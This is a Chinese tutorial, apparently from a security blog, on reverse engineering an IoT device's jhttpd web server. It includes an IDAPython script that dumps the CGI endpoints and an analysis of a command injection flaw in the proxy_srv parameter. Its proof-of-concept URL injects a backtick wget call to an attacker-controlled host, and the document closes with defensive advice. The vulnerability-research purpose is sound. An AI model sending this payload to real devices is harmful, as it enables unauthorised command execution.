从jhttpd分析到系统命令注入
字数 1773 2025-08-22 12:23:25
jhttpd分析与系统命令注入漏洞挖掘教学文档
1. 前言
在IoT设备中,常见的WebServer包括httpd、thttpd、Boa以及jhttpd等。对这些WebServer进行白盒审计是发现漏洞的重要途径。本文将以某设备的jhttpd为例,详细讲解从分析到漏洞挖掘及复现的全过程。
2. jhttpd基础分析
2.1 主要函数结构
使用Ghidra逆向分析工具导入jhttpd二进制文件,从main函数开始分析:
- 内存管理初始化:
mem_init_fun() - 服务类型初始化:
httpd_find_type2_init() - HTTP请求处理初始化:
httpd_file_init()httpd_file_ext_init()httpd_cgi_ext_init()
2.2 HTTP文件相关初始化
httpd_file_init()函数主要功能:
- 初始化三个全局哈希表:
gl_vfile_ext_hash:文件扩展名哈希表gl_file_hash:文件哈希表gl_cgi_ext_hash:CGI脚本哈希表
- 初始化
httpd_all_file结构体,存储服务器可用文件列表 - 使用do-while循环遍历处理客户端请求
2.3 服务初始化
httpd_sever_init()函数负责:
- 创建TCP套接字(IPv4)
- 设置套接字为非阻塞模式(
setnonblocking()) - 设置SO_REUSEADDR选项(允许立即重用套接字)
- 绑定套接字到本地地址和端口(最多重试10次)
- 开始监听连接请求
- 初始化轮询机制处理HTTP请求
2.4 HTTP请求处理
http_poll()函数处理套接字事件:
- 接受新连接
- 读取数据
- 发送数据
- 关闭连接
请求处理流程:
- GET请求:调用
memcmp()比对"GET"字符串,匹配成功后调用httpd_dowith_get() - POST请求:调用
memcmp()比对"POST"字符串,匹配成功后调用httpd_do_wwwparm()处理表单数据
3. CGI接口分析
3.1 使用IDAPython提取CGI接口
from idaapi import *
host = "http://127.0.0.2/"
def ReadStr(addr):
res = ''
while True:
ch = get_byte(addr)
if ch == 0:
break
res += chr(ch)
addr += 1
return res
class dump(object):
def __init__(self):
pass
def http_cgi_all_fun(self):
print("start")
httpd_cgi_all_fun_addr = 0x6b0000
cgi_name = get_32bit(httpd_cgi_all_fun_addr + 3 * 4)
while httpd_cgi_all_fun_addr < 0x4801000:
cgi_name = get_32bit(httpd_cgi_all_fun_addr + 3 * 4)
if cgi_name != 0:
data = get_bytes(httpd_cgi_all_fun_addr, 0x14)
data = list(struct.unpack("<" + "I"*5, data))
data[3] = host + ReadStr(data[3])
data.append(get_ea_name(data[4]))
data[4] = hex(data[4])
print(data)
httpd_cgi_all_fun_addr += 0x14
print("end")
dump_obj = dump()
dump_obj.http_cgi_all_fun()
该脚本从内存中提取CGI接口信息,包括:
- 接口地址
- 接口名称
- 处理函数地址
- 映射路径
4. 命令注入漏洞分析
4.1 漏洞函数分析
通过查找jhl_system()函数调用,发现存在漏洞的函数sub_47EAE8,其主要流程:
- 从HTTP请求获取
proxy_srv参数:v14 = httpd_get_parm(a1, "proxy_srv") - 设置NVRAM值:
nvram_set("proxy_srv", v14) - 构造系统命令:使用
snprintf构造proxy_client命令 - 执行命令:调用
jhl_system()执行构造的命令
关键问题:proxy_srv参数未经过滤直接拼接到系统命令中,导致命令注入漏洞。
4.2 漏洞复现
使用FirmAE或QEMU仿真环境进行复现:
POC:
http://192.168.0.1/proxy_client.asp?proxy_srv=111`wget%20http%3a%2f%2f192.168.0.2%3a9999%2f11`&proxy_srvport=2&proxy_srvport=1&proxy_lanip=127.0.0.1&proxy_lanport=8080&proxy_en=1
验证步骤:
- 在攻击机器上启动Python Web服务(监听9999端口)
- 发送上述POC请求
- 观察Web服务是否收到请求,验证命令是否执行
5. 漏洞挖掘方法论总结
-
逆向分析流程:
- 从main函数入手,理清程序结构
- 分析HTTP请求处理流程
- 识别关键函数(如命令执行函数)
-
漏洞挖掘技巧:
- 查找危险函数调用(system、exec等)
- 跟踪用户输入流向
- 分析参数过滤情况
-
自动化辅助:
- 使用IDAPython脚本提取接口信息
- 批量分析危险函数调用
-
验证方法:
- 搭建仿真环境(FirmAE/QEMU)
- 构造POC验证漏洞
- 通过外部观察点确认漏洞存在
6. 防御建议
-
输入验证:
- 对所有用户输入进行严格过滤
- 使用白名单机制限制允许的字符
-
安全函数:
- 避免直接使用system等危险函数
- 使用execve等更安全的替代方案
-
权限控制:
- Web服务以低权限运行
- 限制Web服务可执行的命令
-
代码审计:
- 定期进行安全审计
- 重点关注用户输入与系统命令的交互点
通过本教学文档,读者可以掌握从IoT设备WebServer逆向分析到命令注入漏洞挖掘的完整流程,以及相关的工具使用和验证方法。